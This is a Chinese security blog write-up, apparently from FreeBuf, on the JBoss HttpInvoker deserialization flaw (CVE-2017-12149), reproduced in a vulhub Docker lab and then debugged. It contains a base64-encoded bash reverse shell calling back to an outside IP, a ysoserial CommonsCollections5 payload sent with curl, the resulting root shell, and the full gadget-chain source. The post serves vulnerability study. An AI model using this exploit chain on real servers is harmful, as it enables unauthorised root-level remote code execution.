Brav0
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

概述
JBoss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。JBoss反序列化漏洞,该漏洞位于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致恶意访问者通过精心设计的序列化数据执行任意代码。
环境搭建
在vulnhub中找到了对应环境,编辑docker-compose.yml文件
version: '2'
services:
jboss:
image: vulhub/jboss:as-6.1.0
ports:
- "9990:9990"
- "8080:8080"
为了快一点可以尝试,搭建一下docker代理
sudo mkdir -p /etc/systemd/system/docker.service.d
sudo touch /etc/systemd/system/docker.service.d/http-proxy.conf
sudo vim /etc/systemd/system/docker.service.d/http-proxy.conf
编辑为你的代理地址即可,然后
sudo systemctl daemon-reload
sudo systemctl restart docker
然后启动docker环境
╰─$ sudo docker-compose up -d
Creating network "cve-2017-12149_default" with the default driver
Pulling jboss (vulhub/jboss:as-6.1.0)...
即可生成对应docker环境
在浏览器打开对应ip的8080端口,即可获得查看相应界面
进入后相应Console的账户密码为admin/vulhub,可以看到相应的版本号等信息
漏洞复现
root@961b11580789:/jboss-6.1.0.Final# echo "bash -i >& /dev/tcp/123.123.123.123/9999 0>&1"|base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvOTk5OSAwPiYxCg==
╰─$java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvOTk5OSAwPiYxCg==}|{base64,-d}|{bash,-i}" > poc.ser
在攻击机中监听9999端口,同时发送载荷
╰─$ curl http://172.16.*.*:8080/invoker/readonly --data-binary @poc.ser
监听端口即可获得回连:
╰─$ nc -lvvp 9999 -n
Listening on 0.0.0.0 9999
Connection received on 172.20.0.2 52950
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@961b11580789:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@961b11580789:/#
漏洞分析
容器开始启动的是run.sh
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9c79b907b7f2 vulhub/jboss:as-6.1.0 "/run.sh" 17 hours ago Up 17 hours 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:9990->9990/tcp, :::9990->9990/tcp cve-2017-12149_jboss_1
查看jboss容器根目录下/run.sh内容
root@9c79b907b7f2:/# cat run.sh
#!/bin/bash
if [ ! -f /.jboss_admin_pass_configured ]; then
/set_jboss_admin_pass.sh
fi
exec /jboss-6.1.0.Final/bin/run.sh --host=0.0.0.0
再查看/jboss-6.1.0.Final/bin/run.sh内容
.....
while true; do
if [ "x$LAUNCH_JBOSS_IN_BACKGROUND" = "x" ]; then
# Execute the JVM in the foreground
eval \"$JAVA\" $JAVA_OPTS \
-Djava.endorsed.dirs=\"$JBOSS_ENDORSED_DIRS\" \
-classpath \"$JBOSS_CLASSPATH\" \
org.jboss.Main "$@"
JBOSS_STATUS=$?
else
# Execute the JVM in the background
eval \"$JAVA\" $JAVA_OPTS \
-Djava.endorsed.dirs=\"$JBOSS_ENDORSED_DIRS\" \
-classpath \"$JBOSS_CLASSPATH\" \
org.jboss.Main "$@" "&"
JBOSS_PID=$!
......
......
不如直接看一下执行命令方便
root@961b11580789:/jboss-6.1.0.Final/bin# netstat -antp| grep :8080
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 72/java
root@961b11580789:/jboss-6.1.0.Final/bin# cat /proc/72/cmdline
z/docker-java-home/jre/bin/java^@-server^@-Xms128m^@-Xmx512m^@-XX:MaxPermSize=256m^@-Dorg.jboss.resolver.warning=true^@-Dsun.rmi.dgc.client.gcInterval=3600000^@-Dsun.rmi.dgc.server.gcInterval=3600000^@-Djava.net.preferIPv4Stack=true^@-Dprogram.name=run.sh^@-Dlogging.configuration=file:/jboss-6.1.0.Final/bin/logging.properties^@-Djava.library.path=/jboss-6.1.0.Final/bin/native/lib64^@-Djava.endorsed.dirs=/jboss-6.1.0.Final/lib/endorsed^@-classpath^@/jboss-6.1.0.Final/bin/run.jar^@org.jboss.Main^@--host=0.0.0.0^@
用idea打开相关文件,在漏洞复现流程中我们已经知道,漏洞触发点是/invoker/readonly,尝试变换姿势搜索,可以在/jboss-6.1.0.Final/server/all/deploy/httpha-invoker.sar/invoker.war/WEB-INF/web.xml中找到映射关系
.....
<filter-mapping>
<filter-name>ReadOnlyAccessFilter</filter-name>
<url-pattern>/readonly/*</url-pattern>
</filter-mapping>
.....
查看ReadOnlyAccessFilter实现
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if (user == null && this.readOnlyContext != null) {
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;
try {
mi = (MarshalledInvocation)ois.readObject();
} catch (ClassNotFoundException var10) {
throw new ServletException("Failed to read MarshalledInvocation", var10);
}
request.setAttribute("MarshalledInvocation", mi);
mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
this.validateAccess(m, mi);
}
}
chain.doFilter(request, response);
}
可以看到有明显的反序列化的过程,
同时查看工程结构,可以看到使用了commons-collections-3.2.jar组件,众所周知,该组件存在反序列化漏洞利用链,二者相组合,可实现RCE。
动态调试分析
纸上得来终觉浅,想彻底搞清楚还是得动态调试
尝试构建动态调试环境
在run.sh中添加以下内容
JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"
然后重启容器,再次查看相关进程命令,发现已经添加进去了8777监听,相关端口也已经开始了监听(这里注意把容器的端口映射增加一个8777端口)
root@610fcfa318c2:/# netstat -antp| grep 8777
tcp 0 0 0.0.0.0:8777 0.0.0.0:* LISTEN 71/java
配置idea动态调试页面如图;
点击debug后发现可以成功连接:
此时是发现无法断下来的,请教了大佬,最后发现问题出在IDEA配置里,需要在Modules里面增加Library-Java;另外还需要增加JARs os Directories中增加/jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/classes
然后在ReadOnlyAccessFilter的doFilter函数中下断点,然后尝试向/invoker/readonly发送数据包,发现可以成功断下来
查看ysoserial的CommonsCollections5的利用代码,可以清晰的看出来利用流程
package ysoserial.payloads;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
}
从exp里可以很清晰的看到利用流程,传进去的是BadAttributeValueExpException对象,BadAttributeValueExpException对readObject进行了重写,因此,在ReadOnlyAccessFilter的doFilter函数中,调用ois.readObject()时,会调用到BadAttributeValueExpException的readObject方法,
public class BadAttributeValueExpException extends Exception {
......
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
exp中可以明确看到,此处valObj被反射修改成了TiedMapEntry类型,因此会调用TiedMapEntry.toString()
public String toString() {
return this.getKey() + "=" + this.getValue();
}
进而调用TiedMapEntry的getValue方法
public Object getValue() {
return this.map.get(this.key);
}
exp中明确,在初始化LazyMap时候,传入的map是一个LazyMap对象,因此会调用LazyMap的get方法
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
在exp中,factory这个变量被LazyMap.decorate的方法初始化为以下ChainedTransformer类型的数组Transformer[]
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
因此get方法中的transform实际会调用ChainedTransformer对象中的transform
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
从ChainedTransformer类型的数组Transformer[]中依次拿出每一个元素,调用InvokerTransformer对象transform方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}
这个transform其实分析的文章很多了,在transform方法中传入了一个对象,然后通过反射调用了iMethodName方法,参数是iArgs,当对ChainedTransformer类型的数组元素依次调用transform函数时,便有可能执行任意命令。
总结
我在本次漏洞的分析中花了很大精力来理解反序列化漏洞链的细节,但是在了解之后的理解是,漏洞利用链非常重要,对漏洞的利用必不可少,但是想在一个广泛使用的组件中找到一条利用链也不是一件简单的事,因此在挖掘利用反序列化漏洞中,其实更普适合化或者说更对新手友好地方法反而是,知道哪些公共组件中存在反序列化漏洞链,同时研究的目标软件中使用了这个公共组件,然后再在软件的执行逻辑中随便找到一处反序列化点(当然,认证前的反序列化点更好)即可,但是不否认,对于一个新手来说,理解反序列化漏洞链的具体过程仍然必不可少,因此,至少要了解或者分析过1-2条反序列化链的具体细节。
在github上commons-collections的仓库可以看到,其实commons-collections3.2在至少20年前已经发布,但是jboss的漏洞在17年才被披露出来,不禁思考,使用旧版本的存在反序列化链的组件的软件系统应该还是存在的,也许在大型软件上不会存在,但是小型、小众软件上,反序列化漏洞的挖掘应该还是较为容易的。
其实分析这个漏洞网上所谓的分析文章很多,但是要不就是简单的叙述了一下触发点,要不然就是一味的分析利用链,个人更想了解的是如何从这个漏洞启发,找到其它产品中存在的类似漏洞,故作此文。
java新手,学习java反序列化的第一个例子,难免有误,大佬轻锤。
参考
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)